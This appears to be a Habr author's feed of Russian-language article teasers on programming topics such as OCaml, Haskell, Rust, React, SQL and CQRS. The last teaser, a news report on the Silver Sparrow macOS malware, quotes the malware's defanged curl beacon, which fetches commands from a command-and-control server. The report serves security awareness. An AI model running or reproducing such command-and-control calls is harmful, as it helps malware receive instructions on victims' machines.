Pull to refresh
1
0
Send message

Let vs where в Ocaml/Haskell

Reading time5 min
Views3.7K

Языки Ocaml и Haskell ведут родословную из языка ISWIM, описанного в знаменитой статье Питера Лендина "The next 700 programming languages". В ней автор, отталкиваясь от языка LISP, создаёт новый язык программирования и, в частности, вводит ключевые слова let, and и where, которые широко используются в языках семейства ML. Рано или поздно у всякого пытливого ума, занимающегося функциональным программированием возникает вопрос: почему в Ocaml не прижилось ключевое слово where, широко используемое в Haskell?

С моей точки зрения, это, в основном, обусловлено различиями в семантике этих языков, а именно императивно-энергичным характером Ocaml и чистотой-ленивостью вычислений в Haskell (которые непосредственно и жёстко связаны с impure/pure характерами этих языков).

Читать далее

Пожалуйста, прекратите использовать антипаттерн UPSERT (SQL Server)

Reading time5 min
Views46K

Я думаю, что все уже знают мое мнение о MERGE и почему я держусь от него подальше. Но вот еще один антипаттерн, который я постоянно встречаю, когда требуется выполнить UPSERT (UPdate inSERT — обновить строку, если она существует, и вставить, если ее нет):

Читать далее

Нарушает ли React DOM-стандарты?

Reading time7 min
Views11K

Существует довольно популярный сайт https://custom-elements-everywhere.com где показывается как работают веб-компоненты в разных фреймворках. Почти у всех фреймворков там красивый 100% результат, но у React там очень настораживающие 71%.

Многие пользователи смотрят на эту страничку и делают вывод, что React плохо поддерживает не только веб-компоненты, но и DOM API в принципе. Так ли это? Действительно ли все плохо?

Давайте разбираться!

Read more

Как мы делаем базовые компоненты в Taiga UI более гибкими: концепция контроллеров компонента в Angular

Reading time6 min
Views13K

В процессе эволюции нашей библиотеки компонентов Taiga UI мы стали замечать, что некоторые компоненты посложнее имеют @Input просто для того, чтобы прокинуть его значение в @Input другого нашего базового компонента внутри себя. Иногда встречается такая вложенность даже в три слоя.

Мы справились с помощью хитрых директив, которые назвали контроллерами. Они полностью решили проблему вложенности и сократили вес библиотеки.

В этой статье я покажу, как мы организовали общую систему настроек всех полей ввода благодаря этой концепции и возможностям DI в Angular.

Посмотреть

Две недели с F#

Reading time7 min
Views13K
А вы когда-нибудь записывали свои впечатления от изучения нового языка? Записывали все, что вам не понравилось, чтобы через пару недель изучения понять, насколько недальновидными и тупыми они были? 



На днях я понял F#, и попытаюсь описать словами мысль, стоящую за языком. 
Читать дальше →

Планирование редакции Rust 2021

Reading time3 min
Views5.9K

Рабочая группа Rust 2021 Edition рада сообщить, что следующая редакция Rust — Rust 2021 — запланирована на этот год. Пока что формально описывающий её RFC остаётся открытым, но мы ожидаем, что в скором времени он будет принят. Планирование и подготовка уже начались, и мы идём по графику!


Если вам интересно, какие новшества появятся в Rust 2021 или когда эта редакция выйдет в стабильной версии, — читайте нашу статью!


Что входит в эту редакцию?


Конечный список нововведений, которые войдут в Rust 2021, ещё не определён до конца. В целом мы планируем, что выпуск Rust 2021 будет намного меньше, чем Rust 2018, по следующим причинам:


  • Ритм выпусков стал регулярным Это значит, что мы будем активно использовать плюсы "цепочечной" модели на уровне редакций Rust.
  • Редакция Rust 2018 выбилась из модели "минимального стресса" выпусков.
  • Сейчас просто нужно меньше фундаментальных изменений, чтобы язык продолжал развиваться.

Более подробно о развитии концепции редакций вы можете почитать в RFC.


Решение, войдёт ли та или иная функциональность в Rust 2021, является частью процесса RFC — поэтому список ожидаемых функций может и будет меняться. Это будет происходить до самого момента выпуска, но тем не менее, уже сейчас мы можем рассмотреть список функций, которые, скорее всего, в неё войдут.

Читать дальше →

Научно-исследовательские инициативы JetBrains

Reading time14 min
Views6.6K
«Develop with pleasure», «The drive to develop» — об этом вы наверняка от нас слышали. Но наши интересы далеко не ограничиваются разработкой и созданием мощных инструментов для повышения продуктивности. Мы верим, что можем многое изменить и сделать мир лучше. Один из верных способов — проведение исследований в области передовых технологий и образования. Совместно с ведущими научными учреждениями мира мы занимается прикладными исследованиями, способными влиять на жизни людей и двигать нас всех вперед.

Наши научные исследования объединены в рамках направления JetBrains Research.

Ниже мы представим исследовательские группы JetBrains Research и расскажем, чем они занимаются.

Наука сегодня для технологий будущего



JetBrains Research объединяет более 150 исследователей, участвующих в проектах более 19 лабораторий и групп. Лаборатории и группы ведут работу в самых разных направлениях — от физики элементарных частиц до разработки ПО.

Читать дальше →

Как и зачем мы внесли 22 тысячи изменений в дизайн Яндекс.Карт

Reading time7 min
Views61K
Привет, меня зовут Тая Лавриненко, я дизайнер-картограф из команды Яндекс.Карт. Как и всё на свете, карты имеют свойство устаревать, поэтому в течение прошлого года мы проектировали и поэтапно внедряли новый, более сбалансированный стиль Карт. Этот редизайн — одно из самых значимых и заметных обновлений картографического стиля сервиса за последние 5 лет.




Как мы отказались от вкладок в интерфейсе и ускорили работу пользователей почти в 2,5 раза

Reading time8 min
Views24K
Недавно МойОфис выпустил крупное обновление 2020.03. Помимо улучшения и расширения функциональной части, в этом релизе мы кардинально изменили дизайн интерфейса редакторов. И прежде чем он стал публичным, провели исследование в специальной UX-лаборатории. Так мы выяснили, что смена внешнего вида программ приведет к существенному ускорению времени поиска пользователями нужных команд.

Настало время рассказать о том, как теперь выглядят редакторы МойОфис, о наших подходах к проектированию интерфейса и существующих рисках смены дизайна, а также про само исследование. Читайте обо всем этом под катом.
Читать дальше →

Подготовка экосистем Dart и Flutter к переходу на null safety

Reading time2 min
Views5.5K

Поезд null safety мчится вперёд, уже почти официально анонсирован Flutter 2.0 (подключайтесь к предстоящему Flutter Engage), экосистема Dart тоже не стоит на месте. Мы перевели на русский язык новость из официального блога Dartlang и настоятельно рекомендуем вам переводить свои пакеты на новые рельсы, если вы этого ещё не сделали!

Читать далее

Поиск данных в столбцах таблицы с пагинацией (front-часть)

Reading time4 min
Views7.8K

Проблемы поиска данных всегда отличались особенной сложностью и зачастую нестандартностью в подходах. Сегодня я бы хотел остановиться на одной интересной задаче, которую мне пришлось решать совсем недавно во время разработки платформы Интернета вещей. Впрочем, такая задача, может встретиться и на любом другом проекте, где есть динамическая подгрузка данных по REST API. Будь то подгрузка во время пагинации, или во время скроллинга, или как то иначе…

Читать далее

«Тильда для ресторанов» на Bubble без кода

Reading time4 min
Views9.6K

Я наблюдал за кафе, ресторанами и кондитерами в инстаграме и заметил, что они берут заказы через директ, выкладывая блюда прямо в ленту. Это неудобно: в сообщениях заказы теряются, отвечать надо быстро — легко упустить продажу. Еще тяжелее вести качественную статистику: приходится отыскивать заказы среди всех сообщений и вручную переносить в таблицы. Оплату принимать можно принимать только в серую — на карточку.

Тогда я решил назерокодить свой проект и проверить гипотезу — насколько интересен этот рынок и есть ли в нем деньги.

Читать далее

Как мы в IVI используем массивы в ClickHouse для подсчета продуктовых метрик

Reading time6 min
Views4.6K

 IVI – кросс-платформенный сервис, а значит, мы должны анализировать метрики всюду: на вебе, телевизорах и мобильных приложениях. Продукт непрерывно развивается, чтобы стать максимально эффективным, удобным и повысить ценность и привлекательность подписки. Перед тем, как внедрить какую-то новую фичу, мы проводим a/b-тесты и исследуем, на сколько востребованным окажется нововведение и как оно повлияет на конверсию или смотрение. Одновременно у нас может проверяться до 70-ти гипотез, от которых непосредственно зависят планы по развитию продукта.

Для того, чтобы правильно оценить успешность или неуспешность теста, требовалось технологичное решение. Новая схема ETL позволила нам иметь хранилище, толерантное к дубликатам. При ошибке в коде мы всегда можем откатить consumer offset в kafka и обработать часть данных снова, не прилагая лишних усилий для движения данных. Хотим рассказать о том, как мы в IVI используем ClickHouse, чтобы посчитать метрики для решения разных продуктовых задач и понять, что мы действительно делаем продукт лучше, а не придумываем фичи, которыми никто не будет пользоваться.

Читать далее

50 лет Паскаля

Reading time9 min
Views34K


В начале 1960-х в мире доминировали языки Фортран (Джон Бэкус из IBM) для научного и Кобол (Жан Саммет из IBM и Министерство обороны) для коммерческого применения. Программы писались на бумаге, затем перфорировались на картах, после чего результатов их выполнения ждали целый день. Языки программирования считались важными помощниками и ускорителями процесса программирования.

В 1960 году международный комитет опубликовал спецификацию языка Алгол 601. Впервые язык определялся чётко сформулированными конструкциями и точным, формальным синтаксисом. Двумя годами позже стало понятно, что требуются некоторые исправления и усовершенствования. Однако основной задачей было расширение ассортимента приложений, поскольку Алгол 60 был предназначен только для научных вычислений (вычислительной математики). Для работы над этим проектом была собрана рабочая группа (Working Group, WG 2.1) под эгидой Международной федерации по обработке информации (IFIP).
Читать дальше →

Создаем веб-приложение на Haskell с использованием Reflex. Часть 1

Reading time11 min
Views9.3K

Часть 2.


Часть 3.


Введение


Всем привет! Меня зовут Никита, и мы в Typeable для разработки фронтенда для части проектов используем FRP-подход, а конкретно его реализацию на Haskell – веб-фреймоворк reflex. На русскоязычных ресурсах отсутствуют какие-либо руководства по данному фреймворку (да и в англоязычном интернете их не так много), и мы решили это немного исправить.


В этой серии статей будет рассмотрено создание веб-приложения на Haskell с использованием платформы reflex-platform. reflex-platform предоставляет пакеты reflex и reflex-dom. Пакет reflex является реализацией Functional reactive programming (FRP) на языке Haskell. В библиотеке reflex-dom содержится большое число функций, классов и типов для работы с DOM. Эти пакеты разделены, т.к. FRP-подход можно использовать не только в веб-разработке. Разрабатывать мы будем приложение Todo List, которое позволяет выполнять различные манипуляции со списком задач.


Читать дальше →

JavaScript нанобенчмарки и преждевременные тормоза

Reading time8 min
Views6.3K

Здравствуйте, меня зовут Дмитрий Карловский и раньше я… ежедневно измерял свою пипирку, но у распространённых линеек никак не хватало точности для измерения столь малых размеров.



Поэтому я решил, что хватит это терпеть!… и выстругал свою с нанометровыми делениями, поддержкой прохладного и разгорячённого измерения, тестами, шарингом и прочими вольностями. Так что приглашаю и вас присоединиться к этой спец олимпиаде по измерению скорости своего JS кода.


Для начала разберём этот кейс:


Читать дальше →

Особенности национальной интеграции с платёжными системами

Reading time7 min
Views7.3K
Электронная коммерция стала трендом 2020 года. Крупные игроки рынка начали активно развивать сервисы доставки продуктов и готовых блюд. Как грибы после дождя выросли новые маркетплейсы. Даже те, кто был далёк от интернета и технологий, вынужденно погрузились в тему дистанционной торговли. Почему — все знают, но сегодня поговорим не об этом. Перейдём сразу к ключевому звену коммерции — приёму платежей. В статье поделюсь несколькими рекомендациями о том, как с ним работать.

image
Читать дальше →

IQueryable порождает сильную связанность

Reading time4 min
Views11K

Время от времени я встречаю людей, пытающихся выразить API в терминах IQueryable<T>. Почти всегда это плохая идея. В этой статье я объясню почему. Вкратце, IQueryable<T> — это один из лучших примеров заголовочного интерфейса (Header Interface), предлагаемых платформой .NET. Его почти невозможно реализовать полностью.


Эта статья о проблемах реализации API на основе интерфейса IQueryable<T>. Это не претензия к интерфейсу как таковому. Кроме этого, это не претензия к замечательным методам LINQ, доступным для интерфейса IEnumerable<T>.

Можно сказать, что IQueryable<T> — это одно сплошное нарушение принципа подстановки Лисков. Я буду использовать закон Постела, чтобы объяснить почему это так.


Принцип устойчивости, также известен как закон Постела в честь Джона Постела: «Будь либерален к тому, что принимаешь, и консервативен к тому, что отсылаешь (Be liberal in what you accept, and conservative in what you send)».
Читать дальше →

Паттерн CQRS: теория и практика в рамках ASP.Net Core 5

Reading time8 min
Views78K

Скорость разработки и производительность программистов могут отличаться в зависимости от их уровня и используемых в проектах технологиях. Для проектирования ПО нет стандартов и ГОСТов, только вы выбираете, как будете разрабатывать свою программу. Один из лучших способов повысить эффективность работы — применить шаблон проектирования CQRS. 

Существует три вида паттерна CQRS: Regular, Progressive и Deluxe. В этой статье я расскажу о первом — классическом паттерне Regular CQRS, который мы используем в DD Planet в рамках разработки онлайн-сервиса «Выберу.ру». Progressive и Deluxe — более сложные архитектуры и влекут за собой использование обширного набора абстракций.

Я поделюсь опытом своей команды: как мы применили паттерн CQRS в наших бизнес-приложениях и беспроблемно внедрили его в существующие проекты, не переписывая тысячи строк кода.

Читать дальше

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

Reading time4 min
Views22K


Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Читать дальше →

Information

Rating
Does not participate
Location
Херсон, Херсонская обл., Украина
Registered
Activity